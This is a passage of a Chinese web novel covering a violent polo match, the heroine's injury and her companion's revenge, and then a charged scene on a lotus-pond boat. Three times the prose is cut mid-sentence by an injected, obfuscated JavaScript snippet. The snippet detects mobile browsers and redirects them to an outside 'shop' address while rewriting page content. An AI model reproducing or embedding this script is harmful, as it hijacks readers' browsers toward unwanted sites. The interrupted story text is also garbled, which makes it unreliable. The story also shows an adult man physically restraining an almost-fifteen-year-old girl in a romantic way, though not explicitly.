“不会。”顾珂柔看着风驰电掣的马儿,面色苍白地摇头,“我骑马都勉强,遑论这样激烈的比赛?” 安宁看向了顾文渊:“三弟,你该会吧?一会儿下场陪我打一场?” “我不行我不行。”顾文渊连连摆手,“我从未打过马球,二姐姐,你还是另外寻人陪你吧。” 安宁叹了口气,段承远倒是会,只是不知道今日他同段妮会不会来。 她只好坐在看台上,双手托腮羡慕地看着场上正在比赛的几人。 风吹过,拂乱了她额前的碎发。她伸手理了理,看见远处一个高大的男人正背着光向他们的台账所在之处慢慢走来。 伯言走到看台前,面带笑容仰头看着她:“小安宁。” “伯言!”安宁惊喜地跳了起来,她跑到看台边蹲下和他平视,欢喜地道,“你也来了?” 伯言穿着骑装,越发显得他身高腿长俊逸挺拔。他转头同台上的顾珂柔和顾文渊微微点头示意,方才把玩着手里的马鞭问安宁:“你怎么在上面干坐着,要不要下来打一场?” 安宁高兴极了:“我找不到人组队,你陪我打吗?” 伯言道:“打!你去换衣服吧,我在前面等你。” “好!”安宁一阵风般跑下看台,去了后面的营帐里更换骑装。 伯言安静地站在营帐外的甬道口等着,等安宁换好了衣裳,他笑看着她,眼里都是赞赏:“还是这样适合你。” 安宁挥舞了几下胳膊活动身体。褪去了头上的钗环,换上了紧袖的衣裳和长裤,脱下了曳地长裙和宽袍大袖的罩甲,她觉得整个人都精神了几分。她接过一旁白蔻递上来的马鞭,同他并肩而行:“没想到在这儿能遇到你!” “这可不是偶遇。”他边走边道,“我想去太师府寻你,但是京里规矩多,我一个男子,非亲非故贸然登门去邀你一个小姑娘出门玩,实在不好。我同路王交好,就请了他做托,托长兴侯府组织马球赛,再由长兴侯府夫人下帖子邀请你,这样便顺理成章了。” 安宁道:“你竟费了这么大的心思?” 他低头笑看着她:“不是你说的,是朋友便要相见?我既然应承了你,自该由我来想法子实现承诺。” 安宁偏头看他:“现在你该告诉我,你是哪家府上了的吧?” 伯言微笑:“你既然都已经见到了我,慢慢的不就知道了?” 两人说着话走到了赛场边上,恰逢上一场结束的锣声响起。伯言走到一旁的球杆架旁抽了一支出来试了试手感放了回去,重新给自己挑了根更沉更称手的,用力挥舞了一下:“这个不错。” 球场的另一端,姚六看见了准备上场的安宁,冷笑一声:“真是冤家路窄!” 姚六的二哥顺着她的视线看过去:“谁啊?” 姚六微微一抬头示意二哥:“看见没?站在那边那个,就是太师府的二姑娘,顾家的顾二。” 姚六当先走向安宁,安宁此时也已经看见了她,见她同样一身骑装,看样子也准备下场。姚六道:“顾二,你也准备下场?如何,敢不敢同我打一场?” “唷,六妹妹。”安宁撑着球杆看着走向自己的姚六:“这么快就从祠堂里放出来了?” 姚六闻言脸色顿时黑了一半,忍着气道:“如何,敢不敢同我打一场?!” 安宁慢条斯理地开口:“这有什么不敢的?只是怕你输的太惨,到时候哭鼻子。” “呵。”姚六轻哼一声,“谁输谁赢还不一定呢。” 两个姑娘互相瞪了对方一眼,又同时骄傲地扭过了头去。姚二同伯言报了准备下场比赛,传话官报到了长兴侯夫人面前。长兴侯夫人闻言笑道:“定国公府、太师府和小世子要下场?那我得拿出个好点的彩头来。”她想了想,从头上拔下来一支金簪交给传话官,“你把这个拿去,给孩子们做彩头。” 传话官领命上前,拿了金簪放到专门放置彩头的架子上,然后站直了身体大喊:“彩头!传世赤金雕花金簪一支!” 伯言站在马侧,轻轻抚摸着马儿的脖子安抚它,低头问正看着金簪的安宁:“喜欢吗?” 安宁接过缰绳,飞身上马,一提缰绳:“喜欢不喜欢都不能让他们赢了去。” “好!”伯言也上了马,“那就赢了下来送你!” 两人同时一夹马腹,马儿进场。 姚六见状也不甘示弱地追了上去。 看台上顾珂柔和顾文渊见着是同定国公府比赛,顾文渊不由得有些担忧:“大姐,二姐不会吃亏吧?” 顾珂柔却想着旁的事情,她看着安宁身旁的伯言:“那人是什么来路,你知道不知道?” 顾文渊吃着茶果:“不知道。但能被长兴侯夫人请来,总归也是京里的权贵。” 顾珂柔慢慢点了点头。 赛场中央,四人各分左右两场控着马对立,裁判拿着球站在中心线上。 姚六挑衅地看着安宁:“怎么说,文比还是武比?” 马球是非常野蛮的运动,为了减少受伤,渐渐分化出了文武两种玩法,文比限制众多,武比则是最原始的规则,可动手伤人。 安宁哈哈一笑:“就你,还武比?你能控好马吗?小心被打得满地找牙!” 姚六冷哼:“你若是不敢武比尽管开口,我也不会笑你胆小。” 安宁甩了甩球杆,发出呼呼的风声,她甜甜一笑:“武比就武比!” 裁判闻言高声传话给全场听:“武比!” 场边的报分官闻言再高喊了一声:“武比!”同时用手中的鼓槌用力敲了一下锣。他身旁有个香炉,有人点燃了里面的一柱香,报分官高喊,“一炷香为时限,开始!”言罢再度敲响了一声锣。 裁判高高举起了手中的球,用力扔向天空。 顾文渊一口茶喷了出去:“武比?!” 顾珂柔同样紧皱着眉头看着场上。 长兴侯夫人也听见了报分官的话,摇了摇头:“现在这些孩子,一个个的,都是烈性子啊!” “这不挺好的?”旁边的忠勤伯夫人笑道,“孩子们有血性不是更好?咱们年轻时的马球赛,哪场不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13328262|139954||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都得断胳膊断腿的?打得最激烈时,半场的人都下场群殴,最后还得圣上来做公断!我看如今这一个个的,文文静静十分无趣,难得还有能玩武比的。” 比赛一交手,姚六就感觉到了巨大的压力。 安宁打小在赤刹海长大,从小就在马背上玩耍,骑马对她来说得心应手。李月桦喜欢打马球,顾林书为了妻子经常组织马球赛,安宁从小耳濡目染,球技高超远远超乎姚二姚六的预料。 伯言同样骑术和球技精湛,他二人组队,实力碾压姚家兄妹,打得他们毫无还手之力,上半场结束时的锣响起,姚家兄妹二十比一百一的大比分落后。 姚六到了场边,猛地把球杆扔到地上跳下马来,气呼呼地瞪着自己二哥:“你怎么传的球?我让你传给我传给我,你偏偏传到了对手手里!” “赖我了?”姚二同样不爽,“我传球给你,你倒是再快点啊,慢悠悠地干啥呢啊?要不是你太慢,能被顾二抢了先?” 姚六气得上前:“你!……” “好了好了。”旁边的人分开了他们,劝道,“自家兄妹,不要伤了和气。” 安宁也骑着马到了场边休息。她跳下马,笑盈盈地看着这一幕,对伯言道:“看见没,急了,狗咬狗。” 伯言下马站在她身侧:“你打得不错。” 安宁笑着夸他:“你也打得很不错啊。我知道你骑术很好,没想到球技也精湛,在我认识的人里面,也算打得数一数二的了。” 下半场定国公府那边换了人,姚二下了场,换上了温国公府的三公子江韬。一交手伯言和安宁就意识到那姚二远不可同江韬同日而语,他无论骑术和球艺都十分厉害。 此时姚六传了一个长球,伯言同姚六在同一半场,安宁与江韬各在另一半场的两端。安宁见姚六将球传给江韬,顿时策马疾奔,想要在半路将球截下来。江韬调转马头同样向着球飞来的方向疾奔,眼看着同安宁慢慢接近并驾齐驱,他突然猛地挥舞球杆向着安宁打了过去。 安宁躲避不及,被球杆迎面击中胸腹,巨大的冲击力使她猛地向后仰倒脱手坠落下马。 看台上顾珂柔和顾文渊大惊失色霍然起身:“二妹妹/二姐姐!” 长兴侯夫人也变了神色打翻了手里的茶盏:“唉呀!” 伯言再顾不上阻挡姚六,纵马向着安宁的方向奔去,此时场边的人都在朝着她奔跑,见她躺在草地上一动不动,已经昏迷不醒。 铛的一声响,江韬截到球传给姚六,无人阻挡她顺利的将球击打进洞,发出了一声巨响。姚六兴奋地调转马头,却见场上乱哄哄的,许多人围在安宁身侧。 “安宁!”伯言弯下腰,轻轻唤着她的名字,见她面色煞白不省人事,心中顿时一沉。他小心地去探她的脑后,看了看手上并无鲜血,这才轻轻松了一口气,神色缓了些许。 江韬骑马到人群旁,居高临下的看着昏迷在地的安宁,挥了挥球杆,漫不经心地开口:“抱歉,手重了些。” “三哥哥说什么呢?”姚六也骑着马到了近前,看着地上的安宁她幸灾乐祸地开口,“说好了武比,是她自己技艺不精,赖不得旁人。” 伯言小心翼翼的横抱起安宁,站起身同江韬对视了一眼,两个男人身上都涌动着汹涌的杀意。伯言压制住自己阴鹜地转身向着场边走,顾珂柔和顾文渊气喘吁吁地跑了过来,惊慌的询问:“怎么样了?怎么样了?我妹妹怎么样了?” 伯言道:“先送去帐篷里,让大夫好好检查一下再说。” 23. 22 安宁做了一个梦,梦里她孤身一人在赤刹海骑着马。不知为何四周都是浓雾,让她辨不清方向迷了路。她骑了很长一段路途,渐渐地越来越害怕,忍不住开口喊道:“爹!娘!” 顾珂柔闻言抓住了安宁的手,眼眶红红地看着她,一旁替安宁诊治的大夫正在告知长兴侯夫人和伯言安宁的情况:“……县君没有伤着骨头,许是落马的时候冲击力太大所以才昏迷。如今就等她醒了,看看头部有没有别的什么症状……” 话音刚落,安宁缓缓睁开了眼睛。她不知道自己在迷雾中穿行了多久,脑海中的浓雾渐渐散去,她看清了眼前的人:“……大姐姐?” 听见她的声音,帐篷里的其他人都朝她看来,长兴侯夫人道:“谢天谢地,这孩子醒了。” 大夫上前,低头问安宁:“县君,你能看清我的脸么?” 安宁点点头。 大夫又问:“你如今可有觉着眩晕想吐?可有眼前发黑或头痛?” 安宁感受了一下:“不难受也不想吐,看得也清楚,就是肚子有点痛。” 大夫直起身同一旁的长兴侯夫人道:“县君没有大碍,头部没有受伤。先不要饮水进食,再观察半日。” 长兴侯夫人和伯言谢了大夫送他出去,顾珂柔板起了脸训妹妹:“你真是好大的胆子!竟然敢同人武比!这下好了,吃了这么大的亏!” 安宁苦着脸:“大姐姐你别吵我,你一大声说话,我就头疼。” 顾珂柔赶紧放柔了声音:“疼得厉害吗?那我小点声,不吵你。” 安宁看着姐姐甜甜一笑:“我就知道,姐姐心疼我。” 顾珂柔瞪了她一眼。 顾文渊道:“二姐姐,你坠马的时候可吓死我了,幸好你没什么事。” 安宁问:“我晕了多久?球赛结果如何?我们赢了还是输了?” “你还关心球赛呢?”顾珂柔没好气,又想说她,又怕她头疼,放缓了声音,“你晕过去之后,大家都忙活你,谁还有劲头接着去打什么劳什子球赛?” 伯言掀帘进了帐篷,安宁看见他,想要坐起身,胸腹处传来一阵刺痛,痛得她小脸一白,顾珂柔赶紧按住她:“你先老实躺着,不要乱动。” “唉。”安宁叹了一口气,按着自己小腹对伯言道,“这就是终日打雁,却不小心被雁啄了眼睛。我往日里还曾嘲笑过旁人,控马太近才让我有可乘之机,不成想今日自己犯了同样的错,白白给了对手下手的机会。” 伯言眼里弥漫起笑意:“吃一堑长一智,你这样的聪明人,同样的错不会犯第二次。”他走到软榻边:“身上痛不痛?” “痛啊。”她捂着肚子,“尤其这里,轻轻一动都痛。当时被打中的时候倒没觉着疼,只觉得一下喘不过气来,然后就晕了过去。没想到现在这么痛。” 他道:“你等着,我这便替你报仇。” 安宁苦着脸:“我身上痛,我是上不了场了。” 他道:“我寻人替你,你在场边看着就是。” 江韬和姚六站在场边,见伯言从帐篷里出来,后面顾珂柔扶着安宁慢慢一步一挪。姚六嘲讽地看着安宁:“我看顾二这样子也上不了场了,怎么说?” 伯言看着从不远处走来替安宁下场的女子:“换人,继续。” 江韬危险地眯起眼睛看着伯言,笑了笑:“好。” 安宁被姐姐扶到看台上落座,赛场里双方骑着马重新入了场,比赛的锣声再度响起。 继续的比赛一开始,赛场上气氛就非常紧张。两个男人似乎都放开了顾忌,肢体冲突激烈下手极狠。伯言骑术绝佳,纵马奔驰的他整个人充满着一种暴力的美感,让人的视线不自觉地跟着他移动。 球杆变成了武器,两人交错的瞬间被他们当成了长戟使用。 姚六见势不对,根本不敢让伯言和他的女伴近身。伯言这边比分占优势,这样的情况下姚六那边比分一直拖着落后,迟迟没有进展。 姚六打出一个长球,伯言和江韬同时纵马去追,两人马匹渐渐接近,并驾齐驱。江韬挥舞着手里的球杆,故技重施击打向伯言的胸腹,伯言往后仰倒堪堪躲过了这一击,江韬趁此机会夹紧马腹赶超了他。 伯言调整好坐姿纵马紧追,他做出了一个让人意想不到的动作,挥舞球杆打中了江韬马儿的后腿。四周的看台上发出了阵阵惊呼声,安宁也捏着一把冷汗紧张地注视着场内。 电光火石间马儿的腿以一个奇怪的姿势折断,它正在快速奔跑中,这一下使得它突然急停侧翻摔倒。江韬整个人被极大的冲力掀翻向前方飞了出去,偏偏他的手腕还被缰绳挂住,只见他猛地往前一飞又被缰绳带得往回猛力一扯,和马儿一起轰然落地。 江韬脸色痛苦地捂着自己的手腕在地上翻滚,侍从们赶紧上前将他抬下场,他的手腕已经呈一个奇怪的姿势折断,大夫提着药箱一路小跑过来给他处理。 伯言骑马施施然到了江韬身边,同样在马上居高临下地看着他,扶着手里的球杆淡笑道:“抱歉,下手太重,失了分寸。” 姚六飞奔而来,见江韬手腕处隐隐可见白骨,惊呼了一声:“三哥哥!”她转而看向马上的伯言,“你这是打球还是蓄意报复?!怎能下这般的重手!” “六姑娘。”伯言微微往前倾了倾身子,“既然是武比,这些不都是在意料之中?先前顾二落马的时候,我们可什么都没说。还是说在六姑娘眼里,武比便是只能你们动手,其他人就得挨打?” “你!”姚六气结,偏又说不出什么话来反驳,只能恨恨地瞪了伯言一眼,随着众人一起将江韬送去了营帐处理伤势。 这次没法再继续比下去。双方都用掉了唯一的一次换人机会,江韬伤成那般,必然不能再上场。伯言慢悠悠骑马走到主看台前,同长兴侯夫人行了个礼:“给您添麻烦了。” 长兴侯夫人嗔怪道:“说好了是武比,赛场无眼,双方各有损伤,有什么好责怪的?”她看了眼一旁看台上正翘首看着这边的安宁,“人家正等着你呢,还不过去?” 伯言再度谢过长兴侯夫人,下马走到安宁的面前:“气消了没有?我替你报仇了。” 安宁笑盈盈地看着他:“谢谢你。” 他道:“你既然是我的朋友,我怎么能眼睁睁地看着你被人欺负?” 阳光金灿灿的,马场上的草地一半化作了金黄,依然柔韧,映着阳光十分温暖。他穿着深色的骑装站在那里仰头专注地看着她,整个马场都化作了他身后的背景,将他凸显,镌刻进了她眼里。 安宁隐约间觉着,这一幕无论过去多少年,她都不会忘记,只是此时她尚且不知,这种懵懂莫名地心动是何物。只是觉着他特别,与旁人皆不同。 回程的马车上,安宁看着随着前进不断轻轻晃动的车帘,脑海里依然浮现着先前马场上的那一幕。她在脑海里描摹着伯言的样子,他映着阳光带笑的眼睛、高挺的鼻子、他的唇、他平直且有气势 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13341433|139954||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的肩膀、宽阔的胸膛…… 顾珂柔见妹妹难得安静坐在一旁,仔细看了看她见她唇角带笑:“你在想什么呢?” “我在想,伯言长得真好看。”她诚实地说出了自己的想法,“我总觉得他与旁人不同,不指五官,他身上有一种很特别的东西。” 顾珂柔一针见血:“像狼。” 安宁诧异地看着姐姐:“对啊姐姐,他像狼,像那种雪夜里的孤狼。” “什么雪夜什么孤狼?”顾文渊听不懂两个姐姐在说什么,倒是赞同安宁对伯言相貌的评价,“他确实长得好看,不太像我们宁人,所以咱们的衣裳穿在他身上,就有种特别的味道。” 顾珂柔不想再多讨论伯言:“回去以后,还是要告诉母亲你坠马的事,再请大夫回来好好替你看一看。” 安宁顿时苦了脸:“姐姐,能不能不要告诉大伯母?” “那可不成。”顾珂柔断然拒绝,“这是大事。” 安宁做最后的挣扎:“那能不能不要写信告诉我爹娘,也不要告诉我外祖家?” 顾珂柔依然拒绝:“这事儿你自个儿同我母亲说去,我做不了主。” 听说安宁坠马,苏婉仪唬了一跳,赶紧请了大夫回来替安宁诊治。大夫诊断的结果同先前相同,她没有伤着头,身上也没有骨折,只是有一些皮外伤。详细询问了受伤的经过之后,大夫开了镇痛化瘀的方子,又给了一瓶金创药嘱咐外敷。 安宁沐浴的时候才看见腰腹间一道明显的青紫,白蔻替安宁上药,一边轻轻的用手揉着,一边心疼地问:“姑娘,真不疼吗?” “还好。”安宁正应着,窗外传来了琴声。安宁穿好衣物要出去,沉香拦住了她:“姑娘,现在晚上越来越冷,你披件厚点的衣裳。” 安宁于是披了件夹棉的及地披风出门。 夜幕降临,廊下亮起了灯。琴声阵阵而来,风吹竹林沙沙作响。听见霞蔚居的开门声,朱思按住了琴弦:“我听文渊说你今日坠马了?” 安宁没有走下长廊,侧身坐在栏杆上:“是啊。” 他问:“要不要紧?”他接着又道,“我也不方便去看你。想着你若是听到琴声或许会出来,或者是叫人同我交代一声。” 安宁有些内疚:“累你们担心了。大伯母请了大夫替我诊治过,没什么,都是皮外伤,吃些化瘀的药就好。” 他道:“以后不要再冒这样的风险。马球场上的武比,骨折内伤都是常事,往年还有打死人的,两家因此结了仇。也正因为如此,文比才渐渐兴起。” 安宁慢慢揉着自己的小腹,轻轻一动还是会痛,她听着他的话应下:“我以后会小心些。” 他嘱咐她:“早些回去休息吧,不要在外面坐太久。” 她依言回了房间,过不多时,白蔻从外进来,拿进来一个精致的瓷瓶:“姑娘,这是朱四爷差人送过来的药。送药的人说了,这是宫里的东西,化瘀活血最好。让你外敷。” 安宁接过瓷瓶,拔开塞子,顿时一股清凉的香味弥漫。 “这个好。”安宁把瓷瓶递给白蔻,“比大夫给的那个劳什子强太多了。那药味熏得我想流眼泪,快把这个替我擦上。” 白蔻依言给安宁上药。这药膏一接触到皮肤泛起微微的凉意,然后慢慢转温。白蔻用手掌轻轻给安宁按揉着化着药,一边说:“姑娘,朱四爷有心了。” 安宁在灯光下转动着手里的瓷瓶看着其上的雕绘,没有说话。 24. 23 半夜的时候下起了雨,淅淅沥沥的雨滴打在屋顶,发出噼里啪啦的声音,渐渐的雨势渐大,变作哗哗的一片。 大雨落了半宿,天放亮的时候雨过天晴。早上安宁醒来一推窗,迎面一股潮湿又寒冷的晨风,冻得她打了个机灵。 她探出头去打量被雨水洗得透蓝的天空:“好像又变冷了。” 她穿着白色的寝衣披散着头发趴在窗户旁,长发在她身后一直蜿蜒至小腿,她的头发又黑又直,在身后瀑布一样散开,随着她的动作丝丝缕缕滑落映着晨光的光泽。因为冷她两个小脚丫交叉着,调皮地晃动着脚趾。 沉香进来看见这一幕,赶紧过来关窗:“姑娘,可别吹这冷风,仔细着凉了。” 安宁由着沉香给她穿衣服:“我刚才好像听见外面有动静?” “是夫人请来的人。”沉香应道,“昨儿个你落马,夫人怕你受惊,所以请了神婆子在院门口驱灾呢。” 朱思也听见了旁边院子的扰攘,叫来近侍问了问,才知道是苏婉仪请来的神婆在替安宁驱灾。黄近侍怕他不悦,解释道:“这都是以前的老说法,人若是受了大惊吓,魂魄容易丢失。二姑娘昨天在马场坠马昏迷,怕她丢了魂,大夫人这才想着请人回来做做法事。” 朱思沉思片刻:“我似乎听你提起过,广宁寺开光的法牌有镇魂宁神的功效?” “是。”黄近侍恭敬地回答,“广宁寺的法牌效果极好,大昌公主小时候受了惊吓整夜哭闹不止,惠妃娘娘想了好多法子都哄不住,最后还是去广宁寺求了法牌给公主戴上,公主才得以安眠。” 朱思点点头:“你吩咐人去备车,明日我们去广宁寺一趟。” 神婆做完了法事前脚刚走,后脚青木居的大丫鬟就带了一队人前来:“二姑娘,长兴侯夫人使人来给你送赔礼来了。”她将礼单交到安宁手上,后面的婆子们跟着抬进来好些箱笼,一一安置在院子里。 一个小丫鬟上前,冲着安宁福了一福:“奴婢是长兴侯府的下人,我们夫人着我来看一眼姑娘如何了,二姑娘今日可觉着好些了?” 安宁道:“我好多了,本也没有什么大碍,多谢侯夫人关怀。” 小丫鬟从怀里拿出来一个木匣子递过去:“这是侯夫人嘱托我亲自交到姑娘手上的。” 安宁接过来打开一看,正是那日用来做彩头的金簪,金簪下压着一张纸条,上面写着三个字:侯府见。 那字极为苍劲,力透纸背,笔画行走如剑锋,可见是男子书写。安宁的心砰砰地跳动起来。这纸条虽然没有提名没有落款,可她就是知道,这是伯言写给她的东西。她啪地合上木盒:“你回去替我同夫人转告一声,明日我会上门答谢,劳她挂心了。” 小丫鬟矮身行礼:“奴婢告退。” 安宁顾不上看院子里的箱笼,拿着盒子飞快地转身回了房间。她在临窗的炕上落座,打开了木盒拿出金簪放到一旁,借着窗外的光仔细打量着那张纸条,似乎能看到伯言站在书桌前,提笔落字的样子。她握着纸条脸上不自觉地带着笑容,她也说不出为什么,就是觉着很高兴,那种欢喜满盈在胸口,让她情不自禁地起身举起了那纸条原地转圈。 她转了好几圈方才停下,左右看了看,从多宝阁上取下一本书,将纸条小心地夹进去,这才把书放回书架上。她跳下地去寻大伯母。明日要出门去长兴侯府,还得要大伯母允许方可出门呢。 苏婉仪不疑有他,只当安宁是为了感谢长兴侯夫人的关心,自然放了她出去。 长兴侯府在南湖边上,虽然湖边的柳树因为秋日萧索了些,景色依然极美。 安宁见过侯夫人,长兴侯夫人同她客套了几句后笑道:“你难得来一次,府里的孩子们都在南湖那里玩耍,你也过去看看?这时辰,他们都在湖里划船呢。”侯夫人又道,“南湖对岸挨着亲王府,湖边有护卫守卫没有外人,你尽管放心去。” 安宁谢了侯夫人,小丫鬟领着她去了湖边。一路行来微风习习,风中隐隐有湖水的潮湿和不知名花朵的清香。湖边的码头旁,伯言正站在大树下远眺着波光粼粼的湖面,微风吹起他的衣摆和腰间玉佩上的流苏,恍惚间看过去,他身着青衣的侧影仿若画影。 安宁高兴地跑过去:“伯言!” 他闻声回头看她,见阳光下她带着明媚的笑容跑向他。他看她活泼的样子:“你这般,应是无事了?身上还疼不疼?” “朱四叔给的药膏极好,只是敷了两晚,如今已经不怎么觉着疼了。”她活动着胳膊给他看,“现在让我再下场都行。” 他眼里含笑:“今日我们不打马球。”湖边传来水声,侍从划来了小船。伯言当先跳上船,转身向她伸出手,“今日我们划船。” 安宁将手放到他手中,他微微用力握紧,接她上了木船。侍从已经跳下了船,这小木船仅可供两人对坐,白蔻和沉香有些着急,上前一步:“姑娘……” 安宁吩咐:“你们在这里等我。” 她两还想说什么,伯言已经撑开船桨,小木船离开码头缓缓划向湖心。 白蔻和沉香跟着在湖边走了几步,白蔻抓住沉香的胳膊:“姐姐,我怎么有点害怕?” “不怕不怕。”沉香心里也没底,却依然拍了拍白蔻的胳膊,她往稍远处看了一眼,“你看那边还有好多船,不是只得他们二人,别怕。” 白蔻闻言看向湖面,果然见湖心还有五六艘木船正在游湖,这才稍微放下心来。 安宁抱膝和伯言对坐,阳光暖洋洋地洒在身上,他不紧不慢地划着船,船桨一起一落,拨开湖水发出轻轻的响声。水面在身边泛着涟漪,船身轻摇湖风轻拂,让她舒适地微微眯起了眼睛。 “我又寻着法子来见你。”他问,“你高不高兴?” 她偏头笑着看他:“我自然是高兴的啊。” 他道:“我也高兴。我想着能看见你,你也愿意来见我,我就很高兴。” 湖面有一半掩在荷叶中。时值秋日,荷叶的边缘微微下垂发黄看着不再似夏日那般有蓬勃的生机,可依然层层叠叠覆盖着湖面。矮的荷叶和湖面齐平漂浮其上,高的高出水面约莫有一两米,小船划入荷叶中穿行,如同进入了奇特的森林之中。 荷海中还有零星几朵晚开的荷花,在绽放最后的美丽。巨大的荷叶旁有许多开始变作黄色的莲蓬。伯言道:“我给你摘几朵莲蓬回去玩。” 小船慢慢的进入了荷塘深处,荷叶高举在头顶,就像一把一把撑开的大伞,将外面的视线渐渐阻隔。 安宁专心的寻找着荷叶深处的莲蓬:“那里!”她伸手指着前方,“那处有莲蓬。” 他没有顺着她指的方向划过去,反而收起了手里的船桨,放松地在船上仰躺了下去。荷叶投下的阴影正 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13363353|139954||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好将他笼罩,阻隔了刺目的太阳。 她奇怪地看着他:“你怎么不划了?” “划累了。”他说着话,顺手摘了一张圆圆的荷叶盖在自己脸上,“休息片刻。这里也没有旁人,正好可以和你说会儿话。” 荷叶阻挡了湖风,安宁这才发现偌大的荷丛里只剩下他们两人,周围安静得出奇。 小船轻轻地摇动着,他就在面前,虽然他躺着一动不动,安宁却莫名地觉得有点紧张,她下意识地缩了缩腿,将自己抱得更紧了些。 他问她:“你再过两个月,就满十五了吧?” 她嗯了一声。他语带笑意:“该嫁人了。” 她有点生气:“我上面大姐姐还没说亲呢,哪儿会那么快到我。” 他反驳:“你大姐姐同你又不是一家,她说不说亲和你有什么干系?” 他说的有理,她无从反驳,摘了一旁的一朵残荷在手上,不高兴地揪着上面的花瓣。 他不再说话,任由湖水轻轻推动着小木船恣意漂浮。 他突然开口问她:“你这么板正的坐了半天,不累么?” 她明明已经有些酸痛,却强撑着否认:“不累。” 他放松地伸长了腿,小木船不大,他个子又高,长腿一伸便搁到了她身旁。他拍了拍身侧:“这里又没有旁人,你何必这般端着?我在开阳第一次看见你的时候,你舞着马鞭将少布打得落荒而逃,那时便觉得你不同于寻常女子,今日怎么这般拘谨?” “谁拘谨了?”她闻言扔掉残荷躺了下去,已经坐得发酸的腰平躺在木板上,她舒服地松了口气,透过头顶荷叶的间隙看着碧蓝的天空。 他摘下盖住脸的荷叶随手扔进湖里,突然起身并排躺到她身旁,让她一惊。她要坐起身他伸手按住了她:“别动。” 她赶紧推拒他的胳膊挣扎着要坐起:“我不躺了。” 他两人一纠缠,引得木船一阵猛烈的晃动,他索性将她一把抱进怀里,把她的头按在自己胸口:“你要再乱动,一会儿船翻了,我还要下水去捞你。” 安宁的心砰砰直跳,几乎要从嗓子眼跳出来。她从未与男子这般亲近,伯言的怀抱很陌生,可带着一种好闻的味道。他身体的热力从衣服里透出来,隐隐传达着他的力量和生机,莫名地让她心慌。 木船晃动得极为厉害,让她不敢再妄动,她从小生活在草原上,骑马她十分擅长,但是并不会水。 她握着双拳抵在他胸口浑身僵硬一动不动。他低头看她,轻声问:“你讨厌我?” 她迟疑了一下,摇了摇头。 他又问她:“那你讨厌我这般对你?” 她的脸通红,那好看的殷红一直蔓延到耳后,和脖子连成了一片。原本晶莹的皮肤如今透着莹润的粉色,他看着她低垂着的眼睛,她长长的睫毛紧张地颤动着,她没有回答他这个问题。 他抬手捧住她的脸,他的掌心灼热,烫着她的皮肤,让她缩了一下。可是他的手掌有力的制止了她,不允许她退缩。他修长的手指绕过她的耳后,两根搭在她的颈动脉处,两根护在她脑后,像是某种无法挣脱的禁锢将她锁在了他掌心。 他感受着她血管有力地跳动,掌下细腻的皮肤和其间流动的生命力催生了他某种破坏和摧毁的欲望。他抑制住自己,顶着她的额头,他声音沙哑地轻声喊她的名字:“安宁。” 25. 24 安宁坐在窗边,窗户半开着,院子里没有人,透过窗户看出去秋海棠花期已经到了末尾,有些还挂在枝头,有些已经凋零衰败,被风卷落在地。 她呆呆地坐在那里看着窗外一动不动,长发在她身后蜿蜒成一道黑色瀑布,披散在炕上。 安宁的眼神没有焦距,她出神地看着窗外的海棠树,脑海里浮现的却是前一天南湖的荷塘。 “阿宁。”他低声唤她,她第一次知道,原来自己的名字能被人用那种让人心跳失衡、慵懒暗哑的声音亲昵地唤出来。他的唇印在她的额头,又轻轻地喊她,“阿宁。”他低下头,他的唇落在她的脸侧,缓缓摩挲,他的声音魅惑地响在耳边,“阿宁。” 他慢慢移动着,唇划过她的脸颊,几乎与她的唇相接,却隔着极薄的一层空气,他两呼吸相闻,他的声音变得更加深沉而危险,她能感觉到他说话时胸腔微微地震动。他问她:“你喜不喜欢我?” 她整个人僵做一团,一动不敢动,她急促地呼吸着。她不知道他做了什么,为什么他碰触过的地方像是燃起了看不见的星火,灼烧着她的皮肤。她不懂为什么自己心跳那么剧烈,她甚至不受控制的颤抖着,他那么危险,她却偏偏像飞蛾扑火的虫子一般被他网在他的怀里,不懂逃离也不想逃离。 安宁的眼睛动了动,微微恢复了些神智。她抬手摸了摸自己的嘴唇,莫名地干得厉害。她心里深处昨日被他点燃的那把火没有熄灭,在暗处燃烧着,烧得她的嗓子也干得厉害。 那时候她没有回答,她怎么回答呢,她已经没有办法说出半个字。她以为他还会做些什么,他却用力将她的头按在自己怀里。他身体紧绷着,某种本能告诉她不要动,所以她僵硬着一动不动,由着他的怀抱将她完全淹没,一直到他终于平息了翻腾的心火将她放开。 他亲昵地用鼻子蹭了蹭她的,追问她:“你喜不喜欢我?” 安宁低下头,用手捂住了自己的脸。她已经坐在窗前吹了好一阵的冷风,可是身体的热度依旧没有消退,她的掌心灼热着,熨烫着自己的脸庞。 她的心乱得厉害。让她睡醒之后便一直在这里呆坐着,哪儿都不想去,谁都不想见,什么话都不想说。 